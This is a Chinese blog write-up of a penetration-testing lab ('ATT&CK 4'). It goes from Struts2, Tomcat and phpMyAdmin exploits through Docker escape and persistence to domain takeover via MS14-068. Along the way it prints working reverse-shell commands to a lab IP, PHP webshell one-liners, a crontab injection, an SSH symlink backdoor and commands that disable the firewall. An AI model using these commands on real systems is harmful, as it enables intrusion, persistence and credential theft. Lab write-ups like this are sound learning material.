ATT&CK(四)

最新推荐文章于 2024-06-23 16:54:48 发布
最新推荐文章于 2024-06-23 16:54:48 发布
阅读量987 收藏 15
点赞数 30
分类专栏： 内网靶场 文章标签： 安全 iot
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52579508/article/details/139812545
版权

image.png

WEB入口

目标IP地址 ： 192.168.145.150

nmap -A 192.168.145.150

image.png
从扫描出来的结果 可以看出存在

22 ，2001，2002,2003 端口

从title 看出 存在 Struts2 ，TOmcat/8.5.19 , phpMyadmin 4.8.1

Struts2

先看2001 端口
标题是Struts2 showcase
image.png
但是它现在是存在一个文件上传的功能 ，看看是否能上传webshell ，
image.png
上传一个正常的图片，都没有反应，也不回显路径，不知道是否上传成功 。。
扫描目录 ，
image.png
基本都是404 页面 ，但是存在部分500 报错页面
image.png
存在 /.ssh/id_rsa 文件可能 ，也存在22端口，后期可以利用存在文件包含或者文件读取的漏洞的话 。
文件上传暂时没有思路 ，
由于是Struts2 框架搭建的，使用Struts 漏扫工具看是否存在相关漏洞

Struts2 POC工具

Struts2-Scan
https://github.com/HatBoy/Struts2-Scan

Struts2漏洞检查工具2019版 V2.3
https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927

STS2G
https://github.com/xfiftyone/STS2G

Struts2全版本漏洞检测工具18.09
https://github.com/Guaang/s2-tool

部分复现漏洞的方法
https://blog.csdn.net/qq_52527336/article/details/125533839

第一个工具老报错 ，不知道啥情况
image.png
关闭现有连接 啥意思哦
使用第二个工具 Struts2漏洞检查工具2019版 V2.3
image.png
存在 046，045 的漏洞
image.png
是可以成功执行命令的，但是执行使用bash反弹shell 的时候一直反弹不回来 。。
使用全版本 漏洞检测工具
image.png
发现当前目录 /usr/src/src/main/webapp
上传webshell到这个目录
上传哥斯拉生成的木马 ,
image.png
使用哥斯拉连接
image.png
image.png
反弹shell 到 msf
image.png
msf 很卡 一直弹不回来，使用nc监听 反弹回来

bash -c "bash -i >& /dev/tcp/192.168.145.130/1111 0>&1"

image.png
但是看着这个root@这一串数字英文，很像docker的id号啊
ls查看本地文件 就刚好存在一个Dockerfile 文件
image.png
Docker 可以通过读取 Dockerfile 中的指令自动构建镜像。 Dockerfile 是一个文本文档，其中包含了用户创建镜像的所有命令和说明。

检测是否在docker中

ls -alh /.dockerenv
cat /proc/1/cgroup

image.png
可以发现全是docker ，看来是进入了一个docker环境了
先看看其他两个服务，是不定不是存在于docker呢

Tomcat

image.png
搜索版本号
image.png
好像是存在不少漏洞，不知是否可以利用

Tomcat8.5.19 cve-2017-12615

服务器由于配置不当，将配置文件中的readonly设置为了false时，通过PUT创建一个jsp文件，并可以执行任意代码。
只需要抓包，把方式改为PUT上传的方式就可以写shell 上传了
image.png
成功上传txt文件
把txt改为jsp文件
image.png
这里上传的时候 jsp 后面要加一个 /
PUT /111.jsp/ HTTP/1.1
不加 / 这个就会变成405
image.png

上传成功的，用哥斯拉连接
image.png
发现还是docker的 环境

phpMyAdmin

image.png
不需要密码直接连接了
我想到，刚才扫描的时候是没有3306这个端口的，但是吧 这个phpmyadmin 是3306 端口，额
又是docker 无疑了感觉

CVE-2018-12613

phpmyadmin 4.8.1 远程文件包含漏洞
其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞
EXP:

利用路径遍历去包含任意文件
?target=db_sql.php%253f../../../../../../../../etc/passwd

image.png
是成功包含了 etc/passwd 文件了的

写shell 错

文件包含漏洞去包含这个webshell文件，这样就能调用webshell去生成一个真正能独立运行的webshell
先查询所在目录

SELECT @@basedir

image.png

/usr/local/mysql/

创建数据库

create database test1

image.png
好像是因为没有权限 ，，，
本来就存在一个test数据库
我在数据库里面 创建一个admin 的表 ，表里面存在一句话

create table admin(`<?php eval($_REQUEST[8])?>` VARCHAR(255))

image.png
?target=sql.php%253f…/…/…/…/…/…/…/…/…/…//usr/local/mysql/data/test/admin.frm&8=phpinfo();
这个方法这里行不通，不知道哪里错了 ，我看那个是由windows 搭建的可能是服务端不一样

包含sessionGetShell

通常linux系统中存放路径为 /tmp/sess_[当前会话session值]
先使用

select '<?php phpinfo();?>';

查询一遍 ，记录一遍，相当于log日志
image.png
然后F12 获取当前的cookie
image.png
在利用刚才的文件包含去读取他
image.png

http://192.168.145.150:2003/?target=db_sql.php%253f/../../../../../../../../../../tmp/sess_2cf472cf31966810727f7d8a57a4cf24

image.png
成功执行了phpinfo()
找到绝对路径
image.png
写一句话
image.png
写入绝对路径失败，
还可以使用刚才的session 先写一条

select "<?php eval($_GET[a]); ?>"

然后再去使用& file_put_contents 去写shell
image.png
image.png
成功写入，使用蚁剑去连接
image.png

image.png
可惜查看 cgroup文件还是一个docker系统
image.png

Docker 逃逸

特权模式逃逸

以特权模式启动时，docker容器内拥有宿主机文件读写权限，可以通过写ssh密钥、计划任务等方式达到逃逸。
如果是通过特权模式启动容器，就可以获得大量设备文件的访问权限，因为管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。
如何判断是否为特权模式
在suid提权中SUID设置的程序出现漏洞就非常容易被利用，所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制，从而增加系统的安全性

这里本来是写ssh 的私钥 进去，但是没懂，我也不知道哪里的方法出现了问题，去连接的时候还是需要密码
image.png
参考：

https://www.jianshu.com/p/378c0fe42685
https://blog.csdn.net/eels_/article/details/24195631
https://quan9i.top/post/%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AE%9E%E6%88%98%E2%80%94%E2%80%94ATT&CK%E5%AE%9E%E6%88%98%E7%B3%BB%E5%88%97%EF%BC%88%E5%9B%9B%EF%BC%89/
https://blog.csdn.net/weixin_47311099/article/details/122718592
参考了博主的写私钥的方法但是我这边没有成功 哎

写计划任务反弹

创建test文件夹 ，把sda1 挂载到啊 test

新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test

image.png
创建一个sh的反弹语句到 test.sh里面去

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.145.130/13122 0>&1'  >> /test/tmp/test.sh

image.png
写入计划任务

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab

解释
sed: 是一个流式文本编辑器，用于处理和转换文本。
-i: 是sed命令的选项之一，表示直接修改文件内容，而不是将输出打印到终端。
'$a*/2 * * * * root bash /tmp/test.sh': 是sed的编辑命令。
在这个命令中，$表示匹配最后一行，a表示在匹配行后追加文本。
具体追加的内容是*/2 * * * * root bash /tmp/test.sh，
这是一个cron表达式，表示每隔2分钟执行一次/tmp/test.sh脚本，并以root权限执行。

该命令的作用是将一条新的cron任务添加到/test/etc/crontab文件的最后一行。
执行这个命令后，/test/etc/crontab文件将被修改，新的cron任务将被添加进去

kali这边监听就好了 要等两分钟
image.png
还少去了提权的操作，

权限维持

这里先使用 ssh软连接后门

ssh软连接后门

原理：：：
利用了PAM配置文件的作用，将sshd文件软连接名称设置为su，这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)，然而 su 在 pam_rootok模块中使得 uid 为 0 可以直接通过认证而不需要输入密码，这样就导致了可以使用任意密码登录
查看SSH配置中是否开启了PAM身份验证，通过以下命令：

cat /etc/ssh/sshd_config|grep UsePAM

image.png
回显 UsePAM yes 就是可以的
建立软连接后门

 ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

image.png
去登录
image.png
除了是低权限之后没有其他不适合
但是可以进行提权，他的内核是4.4.0
image.png
可以看出还是存在提权漏洞的
但好像直接输入 sudo su 之后不需要验证密码直接到root了
image.png
方法二创建一个高权限用户 ，

useradd -p 'openssl passwd 123456'  -o -u 0 test

image.png

上线MSF

image.png
先简单查看一下 ip
image.png
外网是eth0 ， 内网是eth1 是 192.168.183.0 网段
查看路由表
image.png
添加路由
image.png

内网

使用 Venom 搭建socks代理
还是比较喜欢这款工具
image.png

扫描内网存活主机
使用msf 的smb_version 模块
image.png
image.png
两台主机

win2008 WIN-ENS2VR5TR3N  192.168.183.130
win7    TESTWIN7-PC 		 192.168.183.3

image.png
端口开放挺多 ，但是没有web端的入口，只能从系统方面进入了
因为内网主机都是比较老的了
可能存在 ms17-010 ，08-067 等漏洞
image.png
第一次没打通
image.png
显示是受攻击的
但是把这里想到了 换隧道工具 ，一开始使用 Venom ，再换frp 也都无用啊 。。。
这里只能自己 搭建反向代理吧 win7 的shell 传给 kali 了
image.png
东搞搞 西搞搞 终于上线了
image.png
是system 权限
基本信息搜集
内网前面只扫描到两台主机
现在已经拿下win7了
image.png
ipconfig /all
查看主域
dome.com ping一下
image.png
IP 地址就是192.168.183.130
接下面就是使用mimikatz 看看是否能获取域管理员账号密码 进行 psexec 横向了
image.png
桌面存在mimikatz
image.png
发现用户密码
douser Dotest123
验证WIN-ENS2VR5TR3N为域控
这个只是一个域内用户的账号密码
基本信息

USER：douser
Domain：DEMO.COM
NTLM：bc23b0b4d5bf5ff42bc61fb62e13886e
SID：S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD：Dotest123

MS16-068 域提权漏洞

条件：获得普通域用户以及密码 ，以及用户的suid ip为域控ip
漏洞产生原因：用户在向 Kerberos 密钥分发中心( KDC)申请 TGT (由票据授权服务产生的身份凭证)时，可以伪造自己的Kerberos 票据。如果票据声明自己有域管理员权限，而在处理该票据时未验证票据的签名， 那么返给用户的 TGT 就使普通域用户拥有域管理员权限。该用户可以将 TGT 发送到 KDC，KDC的 TGS (票据授权服务)在验证TGT后，将服务票据(Service Ticket)发送给该用户，而该用户拥有访问任何该服务的权限，从而使攻击者可以访问域内的资源。

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image.png
通过 mimikatz 导入TGT票据将写入，从而提升为域管理员

kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache

image.png访问域控主机的C盘
image.png

域控

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /root/aaa.exe

生成一个正向的shell
image.png
上传
image.png
image.png
关闭防火墙

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"

image.png

xcopy aaa.exe \\WIN-ENS2VR5TR3N\c$

复制到域控 主机
上传成功
image.png

创建服务成功，开启防火墙，运行 aaa.exe
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\aaa.exe"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N start Startup

创建正向连接 去连接域控的aaa.exe 就好了
image.png
直接使用getsystem 提权了因为是administrator权限
image.png
这个靶机就打到这里了 ，还是挺困难的说实话 ，各种断线 ，重连 ，正向连接 一般的连接不上 ，
断断续续 做完的 。连ms17-010 都run了十几次 ，代理都换了几款 。。。
后面看其他师傅的wp的还可以使用 “置零攻击(cve-2020-1472)” 这种方法配合 wmiexec.py 获取域控shell

参考 ：：：

https://blog.csdn.net/weixin_47311099/article/details/122718592
https://blog.csdn.net/qq_36241198/article/details/121619400
https://blog.csdn.net/m0_63303407/article/details/128750506

Docker 逃逸
https://wiki.teamssix.com/cloudnative/docker/cve-2022-0847-dirty-pipe.html
https://xz.aliyun.com/t/12495#toc-2

SSH 软连接
https://blog.csdn.net/weixin_45261436/article/details/130886594
https://blog.csdn.net/weixin_45209228/article/details/129485451

MS14-068
https://www.cnblogs.com/f-carey/p/16843006.html#tid-Z7zzGE
https://blog.csdn.net/weixin_46944519/article/details/123498421
小龙_(R0 Team)
关注
  • 30
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ATT&CK的理解与应用场景
weixin_44983560的博客
04-18 172
本文将详细介绍ATT&CK的概念，包括：ATT&CK核心组件和矩阵介绍；介绍ATT&CK的应用场景，包括：情报分析、威胁检测、模拟攻击和安全评估。
1.2ATT&CK框架
gtdisscary的博客
08-26 334
网络威胁情报就是要知道你的对手做了什么并使用它的信息以改进决策。对于一个只有几个分析师想要开始使用 ATT&CK 进行威胁情报的组织，您可以开始的一种方法是选择一个您关心的小组，并按照 ATT&CK 的结构查看他们的行为。ATT&CK 对于任何想要转向以威胁为导向的防御的组织都非常有用，因此我们希望分享有关如何开始的想法，无论您的团队多么复杂。您可以根据我们在网站上映射的组中选择一个组他们以前针对的组织。供应商也映射到 ATT&CK，因此您可以使用他们的信息作为参考。如何开始使用 ATT&CK？...
【ATT&CK】MITRE ATT&CK 设计与哲学
xqdd的专栏
11-10 270
ATT&CK组织在一系列“技术领域”中——生态系统是对手在提供对手必须规避或采取的一系列约束的范围内作战完成一系列目标的优势。到目前为止，MITRE已经定义了三种技术domains–Enterprise（代表传统的企业网络和云技术），移动（用于移动通信设备）和ICS（用于工业控制系统）。在内部每个技术领域，ATT&CK都定义了多个“平台”，即对手所在的系统在内部操作。平台可以是操作系统或应用程序（例如Microsoft Windows）。技术和子技术可以应用于多个平台。表1列出了目前为ATT&CK技术领域定
ATT&CK实战指南
Vdieoo的博客
04-07 4226
ATT&CK框架作为安全领域继承Kill Chain的安全攻防框架，在全世界的信息安全领域正在如火如荼的发挥着影响。通过Google Trends可以看出在最近两年的热度呈指数级增长。 图1：ATT&CK框架的热度增长趋势 ATT&CK框架早在2014年就已提出，但当时的框架还比较简单。 图2：2014年时的ATT&CK框架 目前，这个框架还在不断演进，在今年10月份的ATT&CKcon 2.0大会上，披露的更新内容如下： 图3：ATT&
ATT&CK框架
热门推荐
qq_40216188的博客
02-28 2万+
ATT&CK框架一、ATT&CK框架1.1、侦查Reconnaissance-包含10项技术1.2、资源开发Resource Development-包含6项技术1.3、初始访问Initial Access-包含9项技术 一、ATT&CK框架 序号 战术 战术功能 1 侦察 信息收集 2 资源开发 建立攻击者行动所需资源 3 初始访问 进入目标网络，获取一个入口 4 执行 运行恶意代码 5 持久化 保持攻击立足点 6 权限提升 获取最高权限 7
ATT&CK初步了解
博客地址 www.sec0nd.top
07-27 638
ATT&CK起源于一个项目，该项目记录并分类了入侵后针对微软Windows系统的对手战术、技术和程序(TTPs)，以提高对恶意行为的检测。后来它发展到包括Linux和macOS，并扩大到涵盖导致环境妥协的行为，以及技术重点领域，如移动设备、基于云的系统和工业控制系统。MITREATT&CK是一个针对网络对手行为的精心策划的知识库和模型，反映了对手攻击生命周期的各个阶段以及他们已知的目标平台。红队、紫队和渗透测试活动的规划、执行和报告可以使用ATT＆CK，以便防御者和报告接收者以及其内部之间有一个通用语言。.
什么是ATT&CK
qq_44833342的博客
05-29 343
ATT&CK框架将这些攻击方法按照攻击者的行为分为不同的阶段，包括初始访问、执行、持久化、凭证访问、发现、横向移动、收集、指令与控制与漏洞利用等。通过使用ATT&CK框架，安全专业人员可以更好地了解黑客攻击的行为模式，并采取相应的防御措施，以保护企业和组织的网络和系统安全。开源框架，用于描述和分类黑客攻击的战术、技术和常见知识。该框架包含了各种攻击者可能使用的技术和方法，包括渗透测试、间谍活动、勒索软件和其他恶意软件攻击等。
MITRE ATT&CK框架
Hi~ o(*￣▽￣*)ブ
11-13 5976
0X00 什么是ATT&CK
初识ATT&CK
m0_38103658的博客
05-12 2718
初识ATT&CK框架 前言： ATT&CK这一概念自2014年提出时起，作为安全分析领域中的前沿研究一直在默默地发挥着自己的影响，但是由于其概念在当时过于超前以至于并没有引起多大反响，直至2019年的红蓝对抗赛这才把ATT&CK框架重新推回到了安全圈的C位上，接下来的三期内容，美创安全实验室将为大家带来ATT&CK模型的独家解读，好了，废话不多说Let‘s go！ 但是要是想完全弄懂ATT&CK模型到底是什么，那么有一个相关概念以及问题必须要先弄懂。还请大家耐心看完。
初识ATT&CK模型
xiaoxiaojinglinger的博客
08-25 2035
ATT&CK模型
ATT&CK手册(修改版)
09-16
ATT&CK手册(修改版)
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK手册.pdf
09-20
ATT&CK手册.pdf
att&ck Module 1 Slides
11-08
《MITRE ATT&CK 模块1：培训与理解ATT&CK》 MITRE ATT&CK框架是一个广泛接受的威胁模型，它详细描述了网络攻击者的行为和技术，旨在帮助安全专业人员更好地理解和应对网络威胁。这个框架是基于观察到的真实世界攻击...
等保测评：全面保障信息系统安全的必要举措
最新发布
A526847的博客
06-23 563
随着信息技术的快速发展，信息系统在各行各业中的应用越来越广泛，但同时也面临着日益严峻的安全威胁。为了保障信息系统的安全，我国实施了信息安全等级保护制度，要求对信息系统进行等保测评。等保测评（信息安全等级保护测评）是评估信息系统安全等级的重要过程，旨在确保信息系统能够抵御各种安全威胁，保障信息的机密性、完整性和可用性。通过等保测评，可以全面评估信息系统的安全状况，发现潜在的安全隐患和漏洞，为信息系统的安全加固提供科学依据。通过等保测评可以全面评估信息系统的安全状况并发现潜在的安全隐患和漏洞。
红队内网攻防渗透：内网渗透之内网对抗：横向移动篇&Kerberos&委派安全&非约束系&约束系&RBCD资源系&Spooler利用
HACKONE的博客
06-23 126
机器A（域控）访问具有非约束委派权限的机器B的服务，会把当前认证用户（域管用户）的的TGT放在ST票据中，一起发送给机器B，机器B会把TGT存储在lsass进程中以备下次重用。简而言之，非约束委派是指用户账户将自身的TGT转发给服务账户使用。委派是一种域内应用模式，是指将域内用户账户的权限委派给服务账号，服务账号因此能以用户的身份在域内展开活动（请求新的服务等），类似于租房中介房东的关系去理解。攻击者拿到了一台配置非约束委派的机器权限，可以诱导域管来访问该机器，然后得到管理员的TGT，从而模拟域管用户。
广州化工厂可燃气体报警器检定检验：安全生产新举措显成效
BDjiance的博客
06-20 352
无论是储存、生产还是处理过程，可燃气体报警器都能够实时监测可燃气体浓度，一旦超过安全阈值，便会发出警报，提醒操作人员及时采取措施，避免火灾和爆炸事故的发生。对此，佰德建议相关部门和化工厂加强可燃气体报警器的检定检验工作，确保报警器的准确性和可靠性。值得注意的是，可燃气体报警器的检定检验是确保其准确性和可靠性的关键环节。此外，根据统计数据，经过定期检定检验的可燃气体报警器误报率显著降低，有效提高了化工厂的安全生产水平。在广州的化工厂中，通常会根据报警器的使用情况和环境条件，制定合理的检定周期和频次。
3浏览器安全
weixin_45511682的博客
06-19 1327
前端对浏览器安全认识，#XSS攻击、CSRF攻击、中间人攻击、前端安全问题与防范、网络劫持防范
MITRE ATT&CK
09-17
MITRE ATT&CK是一个强大且庞大的框架，用于描述和组织关于攻击者战术和技术的知识。它可以帮助安全专业人员了解攻击者可能使用的方法和技术，并提供对防御和检测措施的指导。 ATT&CK框架包括三个主要模型：ATT&CK for Enterprise、ATT&CK for Mobile和ATT&CK for ICS。ATT&CK for Enterprise适用于Windows、Linux、MacOS、云平台等技术和战术。ATT&CK for Mobile适用于移动设备的战术和技术。ATT&CK for ICS适用于工控设备的战术和技术。 ATT&CK框架使用矩阵的方式来展现攻击方的战术和技术。矩阵根据攻击者可能采取的不同行动进行分类。通过研究和理解ATT&CK矩阵，安全专业人员可以更好地了解攻击者的行为模式，并制定相应的防御策略和安全措施。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值